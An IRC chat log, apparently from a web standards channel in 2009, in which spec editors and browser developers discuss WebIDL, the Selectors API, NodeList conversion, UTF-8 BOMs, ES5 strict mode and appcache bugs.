that, and upgrading to UTF-8, and they'd be all set to enter the 1990s

[06:20:00.0000] <annevk2>
yeah, tools.ietf.org makes the text-only crap somewhat more acceptable, though it's not great (but a lot better than the default HTML some people generate themselves (presumably with XSLT or some such from the source XML)

[06:38:00.0000] <zcorpan_>
actually, importScripts() already ignores the specified encoding if i'm reading the spec correctly

[06:39:00.0000] <zcorpan_>
it uses the same encoding as the worker

[06:43:00.0000] <annevk2>
/me looks

[06:44:00.0000] <annevk2>
I think you found a spec bug

[06:44:01.0000] <annevk2>
cause step 1 and 2 there are contradictory

[06:44:02.0000] <annevk2>
actually

[06:44:03.0000] <annevk2>
maybe not

[06:45:00.0000] <zcorpan_>
oh does step 2 refer to URL character encoding?

[06:45:01.0000] <annevk2>
I think so

[06:46:00.0000] <annevk2>
yes, see 6.5.3.3

[06:46:01.0000] <annevk2>
could be clearer though

[07:28:00.0000] <jgraham>
Lachy: Selectors v2 is much clearer now, thanks

[07:28:01.0000] <Lachy>
:-)

[07:43:00.0000] <zcorpan_>
Lachy: isn't 'module dom' implied?

[07:45:00.0000] <Lachy>
maybe it is now. It wasn't at the time they were added to the spec.

[07:45:01.0000] <Lachy>
I was meaning to check on that

[07:48:00.0000] <annevk2>
Lachy, your use of Supplemental seems wrong

[07:48:01.0000] <annevk2>
for the first interface

[07:54:00.0000] <Lachy>
annevk2, no it's not. It's the same way that HTML5 uses it in many cases

[07:57:00.0000] <zcorpan_>
i don't understand what the difference is between [Supplemental, NoInterfaceObject] interface A { a } B implements A; and [NoInterfaceObject] interface A { a } B implements A;

[07:57:01.0000] <zcorpan_>
is B.prototype different for the two cases?

[07:59:00.0000] <annevk2>
Lachy, how?

[07:59:01.0000] <annevk2>
Lachy, Supplemental means the interface is defined somewhere else and you define some additions

[07:59:02.0000] <annevk2>
Lachy, for NodeSelector at least you are defining the interface right there

[08:00:00.0000] <zcorpan_>
annevk2: Supplemental can be used in three different ways apparently

[08:00:01.0000] <annevk2>
for Element it does seem appropriate

[08:01:00.0000] <annevk2>
zcorpan_, I only know about splitting interfaces

[08:01:01.0000] <annevk2>
zcorpan_, and that is not what is happening here

[08:01:02.0000] <annevk2>
(per http://dev.w3.org/2006/webapi/WebIDL/#es-extended-attributes )

[08:02:00.0000] <Lachy>
annevk2, Hixie explained it to me a few days ago.  I'll see if I can find the link...

[08:03:00.0000] <zcorpan_>
web workers uses supplemental the same way as nodeselector

[08:04:00.0000] <Lachy>
http://krijnhoetmer.nl/irc-logs/whatwg/20090925#l-110

[08:07:00.0000] <zcorpan_>
/me is still slightly confoosed

[08:08:00.0000] <zcorpan_>
A.b doesn't exist?

[08:08:01.0000] <zcorpan_>
objects implementing A will have b, right?

[08:09:00.0000] <zcorpan_>
but A.prototype.b is undefined?

[08:09:01.0000] <Lachy>
yes

[08:10:00.0000] <zcorpan_>
ok

[08:10:01.0000] <zcorpan_>
i guess i should test that the prototypes have the right things for workers

[08:12:00.0000] <annevk2>
wtf

[08:14:00.0000] <annevk2>
that's very confusing stuff

[08:15:00.0000] <zcorpan_>
indeed

[08:16:00.0000] <annevk2>
I don't quite understand why implements does not put it on the prototype chain but I guess it makes sense somehow

[08:17:00.0000] <jgraham>
/me wonders how much the prototype stuff matches reality

[09:08:00.0000] <heycam>
jgraham, the prototype stuff doesn't really match reality

[09:08:01.0000] <heycam>
better solutions welcome

[09:08:02.0000] <heycam>
i suspect the TC 39 people will have opinions on the best way to map mixins/multiple inheritance to the single inheritance prototype chain

[09:08:03.0000] <heycam>
also, [Supplemental] isn't defined in web idl (yet)

[09:09:00.0000] <heycam>
i'm still not sure i like its intended use (basically like partial classes in c# or something, i think)

[09:20:00.0000] <annevk2>
/me is on his way to file 10 new bugs

[09:20:01.0000] <annevk2>
all legit though :)

[09:27:00.0000] <annodomini>
/me didn't realize that Anne was a he

[09:29:00.0000] <annevk2>
heh, you're not the first :)

[09:29:01.0000] <annodomini>
I guess that's what I get for assuming gender based on someone's name across cultures.

[09:30:00.0000] <jgraham>
annodomini: To be fair it works most of the time

[09:31:00.0000] <annodomini>
True. Though I should do better about it, as I am dating a woman named Kevan.

[09:31:01.0000] <Lachy>
annevk2, would you find it more acceptable if I removed step 4 from this http://dev.w3.org/2006/webapi/selectors-api2/#parsing-a-scoped-selector

[09:31:02.0000] <jgraham>
Obviously Anne just needs to be more aggressive and macho in public to assert his masculinity

[09:31:03.0000] <jgraham>
;)

[09:32:00.0000] <Lachy>
so that authors can still do queryScopedSelector("div div") and have it be equivalent to :reference div div, but then have to do queryScopedSelector(":reference+p") or equivalent to use any other combinator?

[09:33:00.0000] <Lachy>
though, that wouldn't be ideal since it would significantly, though not entirely, decrease the value of having the new methods

[09:33:01.0000] <annevk2>
somewhat, though I don't really like the idea of having additional methods to start with

[09:34:00.0000] <Lachy>
that's why I tried to find a solution without new methods before. But then people bitched about adding a flag and special selector parsing, which I still think are bogus arguments

[09:34:01.0000] <TabAtkins>
No, we bitched about having a special flag that you only needed in a single instance, and that would often still return the right results when you omitted it in test cases.

[09:35:00.0000] <TabAtkins>
I'm still generally okay with the flag.  (Also, I think you pitched it as "here's a special form of the descendant combinator", when really it's "here's a flag you need to use if your first selector opens with the descendant combinator").

[09:35:01.0000] <TabAtkins>
(Which seems to have annoyed fantasai.)

[09:35:02.0000] <Lachy>
TabAtkins, you said you would have preferred to always require the syntactic flag to be used for scoped selectors, but still preferred new methods over that. Other people, including annevk2, are bitching about messing with the selector parsing

[09:35:03.0000] <annevk2>
/me starts to wonder how other people implemented appcache

[09:35:04.0000] <annevk2>
it's full of holes

[09:36:00.0000] <Lachy>
I didn't intend to pitch it as a special descendant combinator. It was always a global flag that could be used for any scoped selector, but could be omitted when it was redundant

[09:36:01.0000] <TabAtkins>
Lachy: Hmm, why is :reference needed at all if you're doing a special method?

[09:37:00.0000] <TabAtkins>
Lachy: Yeah, I get that, but it *really* looked like you were intending it as a special descendant combinator in your original email.

[09:37:01.0000] <Lachy>
what do you mean?

[09:37:02.0000] <TabAtkins>
Lachy: In what circumstances is :reference ever needed if you have queryScopedSelector()?

[09:37:03.0000] <jgraham>
/me officially has no opinion on Selectors but wonders why querySelectorAll(selector, {"scope":true, "namespaces":{/*some namespace map*/}) wouldn't be a good API

[09:37:04.0000] <jgraham>
+}

[09:39:00.0000] <hsivonen>
jgraham: if the map can have arbitrary JS getters, it would have all the same problems as XPath NSResolver

[09:39:01.0000] <annevk2>
jgraham, namespaces are evil?

[09:39:02.0000] <Lachy>
in many cases, like document.querySelectorAll(".foo:reference", list) to filter a node list, or document.querySelectorAll("h1+p:reference>span", list), which is equivalent to running elm.querySelectorAll("h1+p:reference>span") on each element in the list.

[09:39:03.0000] <annevk2>
jgraham, also, no other API is like that

[09:39:04.0000] <hsivonen>
jgraham: in terms of protecting engine state from JS-caused changes

[09:39:05.0000] <jgraham>
hsivonen: You could define it to run all the getters once at the start

[09:39:06.0000] <jgraham>
or, as Hixie put it "structured clone"

[09:40:00.0000] <Lachy>
the latter basically does filtering and node list selection in one go

[09:40:01.0000] <jgraham>
(or .toJSON I guess)

[09:40:02.0000] <jgraham>
annevk2: I was assuming namespaces as a requirement not supporting them philosophically

[09:40:03.0000] <TabAtkins>
Lachy: Okay, I see its use in the latter case, though question if it might not be easier to run simply by speccing an appropriate behavior on NodeLists.  The former, though, seems like a hack for filterSelector.

[09:40:04.0000] <jgraham>
I agree that no other API is like that

[09:41:00.0000] <jgraham>
It's a pity becuase it is the obvious way to define extensible APIs in javascript

[09:41:01.0000] <Lachy>
jgraham, using {"scope":true, ...} wouldn't work because it provides absolutely no detectable way for scripts to know if it's supported or not.

[09:41:02.0000] <jgraham>
(insofar as javascrip has an obvious way to do that)

[09:41:03.0000] <hsivonen>
/me mumbles about hard-wiring svg:, html:, math: and xbl:

[09:42:00.0000] <Lachy>
TabAtkins, it saves introducing a new method just for filtering, which would be completely redundant

[09:43:00.0000] <TabAtkins>
I think that's a worthwhile method to add.

[09:43:01.0000] <Lachy>
why?

[09:43:02.0000] <jgraham>
Lachy: Hmm. querySelectorAll.hasFeature("scope")?

[09:43:03.0000] <jgraham>
/me jokes

[09:43:04.0000] <Lachy>
haha

[09:43:05.0000] <TabAtkins>
Because it's better to be explicit about "I need to filter this list of nodes according to this selector" rather than having to remember the idiom for using querySelectorAll to do the same.

[09:44:00.0000] <TabAtkins>
/me comes from a programming tradition that always emphasizes new functions over overloading via idiom.

[09:45:00.0000] <Lachy>
TabAtkins, there weren't really any significant use cases for filtering provided anyway. That basically came as a freebie when i addressed the other use cases for querySelector on node lists.

[09:45:01.0000] <TabAtkins>
Hmm?  No significant uses?  Every use of $().filter() in jQuery is a use-case.

[09:46:00.0000] <jgraham>
/me tends to agree that filtering a NodeList of selectors seems nicest by using a method on NodeList

[09:46:01.0000] <TabAtkins>
Sorry if it sounds like I'm advocating "just dump jQuery into js".  ^_^

[09:46:02.0000] <jgraham>
s/of selectos/of Nodes/

[09:46:03.0000] <Lachy>
TabAtkins, they weren't provided

[09:47:00.0000] <Lachy>
also NodeList.filterSelector() doesn't address the use cases where all you have is an Array

[09:47:01.0000] <TabAtkins>
Lachy: I don't particularly think they'd've had to be, but okay.  Notice, though, that your use of :reference is requiring hacks around it.

[09:48:00.0000] <TabAtkins>
Lachy: Yeah, but there are other ways to address mapping a function over an Array.

[09:48:01.0000] <Lachy>
with the :reference technique, it doesn't matter what format your collection is in. Just pass it as the refNodes parameter to querySelectorAll() and it will work.

[09:49:00.0000] <TabAtkins>
Well, assuming that querySelectorAll recognizes your format.

[09:49:01.0000] <jgraham>
I guess Array.prototype.filter.call(ArrayLike, function(e) {return e.matchesSelector(s)}) will always work

[09:49:02.0000] <jgraham>
for filtering

[09:50:00.0000] <TabAtkins>
/me thinks that this might be the wrong place to solve the "JS has too many types of collections" problem.

[09:50:01.0000] <Lachy>
I defined it to recognise NodeList, HTMLCollection, Array and objects with indexable properties (though I think I may need to clarify the latter somehow). Basically, any object that can be enumerated to obtain Element nodes from

[09:51:00.0000] <jgraham>
But not for getting the tree-ordered-union of the matches to a selector using each element in ArrayLike as the contextNode

[09:51:01.0000] <TabAtkins>
jgraham: Yeah, but converting Array->NodeList would be fine there.

[09:51:02.0000] <Lachy>
jgraham, yeah, the :reference technique also gives you the tree ordered result set as a bonus

[09:52:00.0000] <Lachy>
TabAtkins, converting Array to NodeList is out of scope of Selectors API, and the use cases have been addressed much more elegantly already anyway

[09:52:01.0000] <jgraham>
TabAtkins: Is it possible to convert Array->NodeList?

[09:52:02.0000] <jgraham>
Also, where is "there"?

[09:53:00.0000] <Lachy>
jgraham, not yet. The functionality was requested in selectors api discussions

[09:53:01.0000] <TabAtkins>
Lachy: Grah, I know.  This is one of those forest-for-the-trees things, though.  You're solving the problem of "JS has too many collections" yourself, but your solution isn't ideal, and everyone else still has to solve the same problem over again later.  It makes me sad.

[09:53:02.0000] <jgraham>
Why?

[09:54:00.0000] <jgraham>
/me tends to agree with TabAtkins 

[09:54:01.0000] <jgraham>
(the why> was aimed at Lachy)

[09:54:02.0000] <Lachy>
jgraham, do you mean why is converting Array to NodeList out of scope?

[09:55:00.0000] <Lachy>
or something else?

[09:55:01.0000] <jgraham>
(and it's more like "DOM has too many collections and JS has no way of treating them all equally)

[09:55:02.0000] <zcorpan_>
Lachy: time for food btw?

[09:55:03.0000] <Lachy>
zcorpan_, sure

[09:55:04.0000] <zcorpan_>
Lachy: my card is working now

[09:55:05.0000] <jgraham>
Lachy: No, why do people want it?

[09:55:06.0000] <Lachy>
cool

[09:55:07.0000] <zcorpan_>
or it should be

[09:55:08.0000] <zcorpan_>
Lachy: you're still at the office?

[09:55:09.0000] <TabAtkins>
jgraham: Apparently, so we can coerce things into a single reasonable collection type and just deal with that.

[09:56:00.0000] <jgraham>
Oh, but NodeLists are the most unreasonable collection type...

[09:56:01.0000] <TabAtkins>
Then do NodeList->Array, and define it over Arrays.  Same diff.

[09:56:02.0000] <jgraham>
(or Array-like type anyway)

[09:56:03.0000] <Lachy>
oh, they wanted it to address this case, so they could have NodeList.filterSelector() and have an easy way to make a NodeList out of any collection, since JS libraries tend to store things as arrays

[09:57:00.0000] <jgraham>
I think people should carefully consider the effect of ES5 array extras before deciding that it is necessary to do explicit conversions to NodeLists all the time

[09:57:01.0000] <Lachy>
it would have signicantly improved the situation if NodeList was binded to Array in JS, which would have worked if only NodeLists were static from the start

[09:59:00.0000] <Lachy>
personally, I think it's much more useful to define NodeList.toArray() natively, so authors don't have to deal with liveness issues and the inflexibility of NodeLists for pretty much anything

[09:59:01.0000] <jgraham>
That seems reasonable. 

[09:59:02.0000] <TabAtkins>
Can we do that?  That would be great.

[10:00:00.0000] <jgraham>
Seems like it should be Web DOM Core rather than Selectors API that does it though

[10:01:00.0000] <jgraham>
(not that we should block progress on that)

[10:01:01.0000] <TabAtkins>
So lets get it going.  Today.  Right now.

[10:01:02.0000] <Dashiva>
Don't we have the equivalent already?

[10:02:00.0000] <Lachy>
TabAtkins, yeah, that functinality has been floating around for going into Web DOM Core for a while. If I'm not mistaken, I think gsnedders is editing that spec now, who took over from zcorpan_

[10:03:00.0000] <jgraham>
Lachy: You might be mistaken, I don't think he has committed to it

[10:03:01.0000] <jgraham>
Danm

[10:03:02.0000] <jgraham>
Or some transposition of that anyway

[10:03:03.0000] <Dashiva>
Array.prototype.slice.call(nodelist, 0) or some similar invocation

[10:04:00.0000] <jgraham>
Dashiva: Yead that would work

[10:04:01.0000] <TabAtkins>
Now just make it non-sucky in syntax.

[10:04:02.0000] <Dashiva>
Well, it seems like an even more general solution would be to create an Array method that takes an Array-like and gives out an Array

[10:05:00.0000] <TabAtkins>
Yup.  Anything with a .length and is indexable should work.

[10:05:01.0000] <Dashiva>
Which is really what all these do

[10:06:00.0000] <jgraham>
Array.toArray(object) would be kind of odd

[10:06:01.0000] <hsivonen>
is new Array(indexable) already reserved for something else?

[10:06:02.0000] <TabAtkins>
Array.fromArraylike(object)

[10:07:00.0000] <TabAtkins>
/me suspects that his text editor is adding BOMs to his UTF8 files now.

[10:07:01.0000] <Dashiva>
hsivonen: new Array(object) is already used

[10:07:02.0000] <jgraham>
hsivonen: It might work as long as indexable doesn't have a valueOf or toString that can be converted to a number iirc

[10:08:00.0000] <Dashiva>
It's identical to [object]

[10:08:01.0000] <Dashiva>
Unless the object is a number, in which case it's [] with length=the number

[10:08:02.0000] <hsivonen>
Dashiva: :-(

[10:09:00.0000] <jgraham>
Oh, yeah it seems my memory was wrong

[10:13:00.0000] <TabAtkins>
Hrm.  What sort of craziness would justify having EF+BB+BF at the start of a file?

[10:14:00.0000] <Philip`>
Sounds quite like a BOM

[10:15:00.0000] <TabAtkins>
Yeah, it's some kind of BOM.  But it's not EF+FF, like I would expect.

[10:15:01.0000] <Philip`>
Sounds quite like a UTF-8 BOM

[10:15:02.0000] <TabAtkins>
/me should remember that UTF-8 is gloriously crazy in how it encodes things.

[10:15:03.0000] <TabAtkins>
kk, time to change the preferences of my text editor then.

[10:16:00.0000] <TabAtkins>
Ah, there's the offending setting.

[10:16:01.0000] <Philip`>
TabAtkins: Try something like http://rishida.net/scripts/uniview/conversion to convert U+FEFF into UTF-8 code units or vice versa

[10:17:00.0000] <TabAtkins>
I'm good now, Philip`.

[10:18:00.0000] <Philip`>
If you expected it to be something like FE+FF, how would you expect UTF-8 to be distinguished from UTF-16BE?

[10:18:01.0000] <Philip`>
Oh, you said EF+FF instead

[10:18:02.0000] <Philip`>
I have no idea how you'd expect that :-p

[10:18:03.0000] <TabAtkins>
Man, I dunno.

[15:34:00.0000] <Dashiva>
I feel it's time for another complaint about the lack of awesome lastweek posts

[15:35:00.0000] <jgraham>
You just want to be featured more

[15:35:01.0000] <Dashiva>
I have lots of features, thankyouverymuch

[15:45:00.0000] <TabAtkins>
Dashiva, who are you on the lists?

[15:48:00.0000] <Dashiva>
I rarely post nowadays

[16:27:00.0000] <Dashiva>
Reading public-html brings back memories of my own back-and-forth with Roy about apache content types.

[16:34:00.0000] <hober>
I think it's very much worth reclaiming "URL," so I'm all for that part of the argument, but I could care less about "resource v. representation"

[16:34:01.0000] <TabAtkins>
Agreed exactly.

[16:36:00.0000] <TabAtkins>
(which is why I got into it over URLs, but have ignored the main resource discussion)

[16:54:00.0000] <Hixie>
i am definitely not getting all my e-mails

[16:54:01.0000] <Hixie>
i keep finding e-mails that get lost between gmail's forwarding it to me and my receiving it at dreamhost

[16:55:00.0000] <a-ja>
ixie: minor typo in chg 4041....says publicate instead of publication

[16:56:00.0000] <a-ja>
Hixie: minor typo in chg 4041....says publicate instead of publication

[16:56:01.0000] <Hixie>
already fixed

[16:56:02.0000] <a-ja>
cool

[16:58:00.0000] <a-ja>
are details/figure dt/dd stuff headed for w3c validator soonish?

[16:58:01.0000] <Hixie>
dunno, you'd have to ask the w3c

[16:58:02.0000] <Hixie>
validator.nu will probably have them sooner, if not already


2009-09-30
[17:00:00.0000] <a-ja>
speaking of w3c validator....think its handling of script documentation comments is fubar

[17:27:00.0000] <Hixie>
well, i've found where my e-mail is going

[17:27:01.0000] <Hixie>
some sort of spam filter is moving them into a spam folder

[17:27:02.0000] <Hixie>
but none of my spam filters are configured to move spam there

[17:27:03.0000] <Hixie>
so... wtf

[17:27:04.0000] <Philip`>
A spam filter moving spam to a spam folder? That's crazy

[17:32:00.0000] <Dashiva>
Philip`: The crazy part is that some of the mail makes it through

[17:33:00.0000] <othermaciej>
yeah I don't care that much about what you call a "resource" - in WebKit internals we don't really draw any distinction between the resource and the resource representation (for example you use a ResourceHandle to talk to a resource, and cache the result as a CachedResource)

[17:33:01.0000] <TabAtkins>
Yeah, they'll have to fix that.

[17:33:02.0000] <TabAtkins>
Hixie shouldn't be receiving any email.

[17:33:03.0000] <othermaciej>
I only got involved because it makes me worry that we'll be buried in word choice bikesheds

[17:33:04.0000] <TabAtkins>
You worry?

[17:33:05.0000] <Hixie>
it tells you how much e-mail i receive that about 1500 e-mails got filtered to a spam folder over a period of about a month, 6 weeks, and it took me that long to notice

[17:33:06.0000] <TabAtkins>
/me thought we were already there.

[17:34:00.0000] <othermaciej>
well, ones that are tied to an ISSUE and therefore require the WG and particularly the chairs to expend some effort to resolve

[17:34:01.0000] <TabAtkins>
Ah, makes sense.  Yes, those are worrying.

[17:51:00.0000] <TabAtkins>
Hixie, can I talk privately for a sec?

[20:02:00.0000] <boblet>
I want to display a code sample to copy & paste in something like a form textarea. Given it’s not going to be submitted, is using textarea wrong?

[20:08:00.0000] <Hixie>
whether it's submitted or not doesn't really matter

[20:11:00.0000] <othermaciej>
<textarea> will have the helpful effect that Select All will select only its contents

[20:11:01.0000] <othermaciej>
dunno if other ways of making a scrollable area do that

[20:11:02.0000] <othermaciej>
(I guess an iframe does but that requires either an external resource or script to fill)

[21:23:00.0000] <boblet>
Hixie, othermaciej: thanks!

[01:12:00.0000] <annevk42>
Hixie, you should read my specs more, a bunch of that "other stuff" on the wiki is covered by CSSOM View

[01:12:01.0000] <Hixie>
cool

[01:12:02.0000] <Hixie>
i just pasted it in without really looking to be honest

[01:12:03.0000] <Hixie>
it comes from the XXX markers at the bottom of html5

[01:13:00.0000] <Hixie>
most were written in the WF2 days

[01:17:00.0000] <annevk42>
ah yeah, I remember reading that

[01:26:00.0000] <Hixie>
http://pimpmyspec.net/ seems to be down

[01:26:01.0000] <Hixie>
that's gonna put a crimp in my style

[01:32:00.0000] <annevk42>
whoa, bug count went up to twenty from minus one?

[01:32:01.0000] <annevk42>
pretty sure I didn't file twenty bugs

[01:35:00.0000] <Hixie>
-1?

[01:36:00.0000] <annevk42>
your issue tracker page displayed that

[01:36:01.0000] <annevk42>
I think because the bug column was empty

[01:38:00.0000] <Hixie>
oh right, it'll show that when bugzilla is down, which it was

[01:42:00.0000] <Hixie>
jgraham!

[01:42:01.0000] <Hixie>
http://pimpmyspec.net/ is down

[01:43:00.0000] <Hixie>
oh it works now

[01:43:01.0000] <Hixie>
never mind!

[01:53:00.0000] <annevk42>
Hixie, where you talk about the default action of the event you should not use "must" at all

[01:53:01.0000] <annevk42>
Hixie, the algorithm is already required to be followed

[01:54:00.0000] <hsivonen>
we have quite a few WONTFIX bugs in the W3C bugzilla. those are all potential escalation material :-(

[01:54:01.0000] <hsivonen>
I hope the chairs won't make the WG debate 96 escalated ISSUEs

[01:55:00.0000] <annevk42>
hsivonen, looking forward to TPAC already

[02:15:00.0000] <jgraham>
Hixie: Yeah it seems that the server died or something

[02:15:01.0000] <Hixie>
annevk2: it is?

[02:28:00.0000] <annevk2>
Hixie, yeah, from other parts in the spec

[02:41:00.0000] <zcorpan_>
hmm... window.window=1;alert(window.window) // [object Window] in opera, webkit and firefox

[02:41:01.0000] <zcorpan_>
window.self=1;alert(window.self) // 1 in webkit and firefox, [object Window] in opera

[02:41:02.0000] <zcorpan_>
html5 just says readonly attribute

[02:42:00.0000] <zcorpan_>
so i guess according to html5, both should throw on setting?

[02:42:01.0000] <zcorpan_>
what happens in ie?

[02:44:00.0000] <zcorpan_>
and what should happen in a WorkerGlobalScope when setting self.self ?

[02:46:00.0000] <Philip`>
/me thought readonly was just ignored on setting

[02:46:01.0000] <Philip`>
(rather than throwing)

[02:46:02.0000] <zcorpan_>
"It is language binding specific whether assignment is simply disallowed by the language, ignored or an exception is thrown."

[02:47:00.0000] <Philip`>
Where is the language binding specified?

[02:49:00.0000] <zcorpan_>
"If the attribute is declared readonly, the property has attributes { DontDelete, ReadOnly }. Otherwise, the property has attributes { DontDelete }."

[02:50:00.0000] <zcorpan_>
ReadOnly in javascript means nothing happens on setting, right?

[02:50:01.0000] <zcorpan_>
i guess firefox and webkit have [Replacable] for window.self

[02:51:00.0000] <Philip`>
/me tries to look at ES5, but can't work out what it's saying

[02:52:00.0000] <Philip`>
*That* is a spec designed solely for implementors, not users

[02:52:01.0000] <zcorpan_>
"when the ReadOnly attribute for a property is set to true, any attempt by executed 

[02:52:02.0000] <zcorpan_>
ECMAScript code tochange the value of thepropertyhas noeffect." says ecma262

[02:52:03.0000] <zcorpan_>
though that might be non-normative...

[02:53:00.0000] <Philip`>
ES5 says "any attempt by executed ECMAScript code to change the value of the property fails", which is less helpful because I don't know what "fails" means

[02:53:01.0000] <Philip`>
(Also it probably varies in strict mode, whatever that is)

[02:54:00.0000] <hsivonen>
what's the purpose of the ES5 "strict mode"?

[02:54:01.0000] <Philip`>
Helping programmers write code with fewer bugs?

[02:54:02.0000] <Philip`>
like a lint tool but at runtime

[02:54:03.0000] <hsivonen>
is the non-strict mode of ES5 compatible with existing ES3 scripts?

[02:54:04.0000] <zcorpan_>
"The property is a read-only property. Attempts by ECMAScript code to write to 

[02:54:05.0000] <zcorpan_>
the property will be ignored." ... "An i mpl ement at i on of ECMAScr i pt must behave as i f i t pr oduced and 

[02:54:06.0000] <zcorpan_>
oper at ed upon i nt er nal pr oper t i es i n t he manner descr i bed her e." ...is probably the normative part

[02:55:00.0000] <jgraham>
In ES5 [[Put]] can either throw or not throw

[02:55:01.0000] <Philip`>
Yay PDF copy-and-paste

[02:55:02.0000] <zcorpan_>
Philip`: yeah

[02:55:03.0000] <jgraham>
IIRC it is called with throw=false for the normal case of property setting

[02:55:04.0000] <hsivonen>
Philip`: If I have an ES3 browser and I say "use strict" and write non-strict code, will my code run on the ES3 browser but fail in an ES5 browser?

[02:55:05.0000] <hsivonen>
or will the ES5 browser just warn to console or something?

[02:56:00.0000] <zcorpan_>
hsivonen: it will fail

[02:56:01.0000] <zcorpan_>
hsivonen: some things throw in strict mode

[02:56:02.0000] <zcorpan_>
hsivonen: like arguments.caller

[02:56:03.0000] <hsivonen>
zcorpan_: but won't fail in ES3?

[02:56:04.0000] <zcorpan_>
right

[02:57:00.0000] <Philip`>
/me uses JSOPTION_STRICT when embedding SpiderMonkey in non-web things, because it helps detect some bugs

[02:57:01.0000] <hsivonen>
seems like a disaster if people start using "use strict" as a shiny thing before upgrading to an ES5 browser

[02:57:02.0000] <Philip`>
(but I think that option only results in warnings, never changes to behaviour)

[02:57:03.0000] <zcorpan_>
hsivonen: indeed

[02:57:04.0000] <jgraham>
It seems to very with strict mode

[02:58:00.0000] <jgraham>
See the PutValue algorithm for the normative description

[02:58:01.0000] <zcorpan_>
hsivonen: although apparently "use strict" allows for some optimizations

[02:58:02.0000] <hsivonen>
zcorpan_: ok. that makes more sense

[02:59:00.0000] <jgraham>
hsivonen: ES5 is not absolutely backwards compatible with ES3

[02:59:01.0000] <jgraham>
even in non-strict mode

[02:59:02.0000] <hsivonen>
jgraham: are browsers expected to ship only an ES5 engine or to sniff between ES3 and ES5 behavior somehow?

[03:00:00.0000] <Hixie>
zcorpan_: if i need to add [Replaceable] to 'self' let me know

[03:00:01.0000] <jgraham>
Ship only an ES5 engine

[03:00:02.0000] <hsivonen>
jgraham: I see

[03:00:03.0000] <jgraham>
(the differences are things like regexp literals evaluating to different objects rather than always the same object)

[03:01:00.0000] <jgraham>
(which would can observe through the lastIndex property)

[03:01:01.0000] <zcorpan_>
http://www.google.com/codesearch?q=self+lang%3Ajs&hl=en&btnG=Search+Code

[03:01:02.0000] <zcorpan_>
hmm, first hit has var self = arguments.callee :(

[03:01:03.0000] <jgraham>
s/would/you/

[03:03:00.0000] <zcorpan_>
hmm but that works in opera

[03:03:01.0000] <jgraham>
AFAICT the main motivators for strict mode are 1) a desire to make more substantial language cleanups then you can make without breaking backward compatibility b) a desire to have a language better suited to Caja and other such security subsets 3) Maybe some potential for optimization

[03:03:02.0000] <jgraham>
s/b/2

[03:04:00.0000] <Philip`>
Does ES5 not have any of the new keywords that JS1.n (n >= 6) added?

[03:04:01.0000] <jgraham>
iirc it hasn't added any new keywords yet

[03:04:02.0000] <jgraham>
They keep talking about it for ES6 though

[03:05:00.0000] <zcorpan_>
what's the plan to not break compat in ES6?

[03:06:00.0000] <jgraham>
Well theoretically most of the new keywords are future reserved words. But I don't know if they are in the intersection of the future reserved words that are actually reserved by all browsers

[03:06:01.0000] <jgraham>
Or even in the union

[03:06:02.0000] <zcorpan_>
yield isn't a reserved word in browsers, right?

[03:07:00.0000] <Philip`>
'let' and 'yield' aren't listed as future reserved words in ES5

[03:07:01.0000] <Philip`>
(at least the draft I'm looking at)

[03:07:02.0000] <Philip`>
but it says "The identifiers ‗let‘, and ‗yield‘ may be used in a future version of this standard.

[03:07:03.0000] <Philip`>
"

[03:07:04.0000] <jgraham>
Oh. Well that shows how useful that list was

[03:08:00.0000] <hsivonen>
Philip`: are those used in anything but Firefox chrome?

[03:08:01.0000] <jgraham>
(I only remember enough about the list of future reserved words to remember that it is basically fiction)

[03:09:00.0000] <jgraham>
Oh, let and yield are future reserved words in strict mode only

[03:09:01.0000] <jgraham>
]and they seem to have cut down the list in non-strict mode since I last checked

[03:09:02.0000] <Philip`>
hsivonen: http://canvex.lazyilluminati.com/3dmodel/example0.html uses 'yield'

[03:10:00.0000] <Philip`>
Doubt it's used much in real content, though

[03:10:01.0000] <hsivonen>
Philip`: are they supported by engines other than SpiderMonkey?

[03:11:00.0000] <Philip`>
hsivonen: No, as far as I'm aware

[03:14:00.0000] <zcorpan_>
are TC39 aware of the Web EcmaScript wiki page?

[03:14:01.0000] <Philip`>
http://www.kpmg.de/Themen/7771.htm is the only page I see with version=1.[6789] in <script type>

[03:14:02.0000] <jgraham>
zcorpan_: Not as far as I'm aware

[03:15:00.0000] <zcorpan_>
maybe someone should bring their attention to it, or at least to the issues it tries to cover

[03:17:00.0000] <jgraham>
/me cannot imagine anything good soming of it

[03:17:01.0000] <jgraham>
*coming

[03:17:02.0000] <hsivonen>
Philip`: and it seems to use it only for the purpose of recording the version recognized by the browser for tracking purposes

[03:18:00.0000] <zcorpan_>
Philip`: that page just checks that version is not 1.0 or 1.1

[03:21:00.0000] <Philip`>
Indeed

[03:24:00.0000] <annevk2>
Hixie, I also filed another bug about fallback and online whitelist namespace being matched by something more complicated than just a prefix match

[03:24:01.0000] <hsivonen>
are ES5 browsers supposed to modify behavior on version=1.1 or version=1.2, etc.?

[03:25:00.0000] <hsivonen>
what about e4x=1?

[03:25:01.0000] <zcorpan_>
hsivonen: i would guess that opera will modify behavior of version=1.1 and not support e4x

[03:27:00.0000] <hsivonen>
zcorpan_: I see. Does ES5 specify what the delta is when version=1.1 is specified?

[03:28:00.0000] <zcorpan_>
don't know

[03:28:01.0000] <zcorpan_>
but i doubt it :)

[03:28:02.0000] <zcorpan_>
it probably says what the delta is compared to ecma262

[03:28:03.0000] <jgraham>
ES5 says nothing about any of this

[03:29:00.0000] <hsivonen>
jgraham: is there a spec that specifies this part of the interoperable platform?

[03:30:00.0000] <jgraham>
hsivonen: Not unless HTML5 says something about it

[03:31:00.0000] <hsivonen>
hmmkay

[03:31:01.0000] <jgraham>
In general ES5 is silent about how scripts are loaded

[03:31:02.0000] <hsivonen>
is version=1.1 truly version 1.1 or the latest plus a specific delta?

[03:31:03.0000] <Philip`>
I didn't think any current browsers (except Firefox for versions >= 1.6) changed behaviour on version at all

[03:32:00.0000] <zcorpan_>
in opera version=1.1 is the same as version=1.5, i think

[03:33:00.0000] <Philip`>
See https://bugzilla.mozilla.org/attachment.cgi?id=167555 and/or http://philip.html5.org/demos/js/jstype.html

[03:33:01.0000] <Philip`>
Oh, don't bother with the latter one, it doesn't show old version numbers

[03:35:00.0000] <Philip`>
/me tweaks

[03:35:01.0000] <Philip`>
Now it does

[03:49:00.0000] <Hixie>
annevk2: what does http://www.w3.org/Bugs/Public/show_bug.cgi?id=7760 mean?

[03:51:00.0000] <annevk2>
Hixie, the summary table suggests error is the last event you get while after that noupdate is dispatched

[03:51:01.0000] <annevk2>
though I later realized that maybe noupdate was not dispatched to the same place as where error was dispatched, but did not check

[03:52:00.0000] <annevk2>
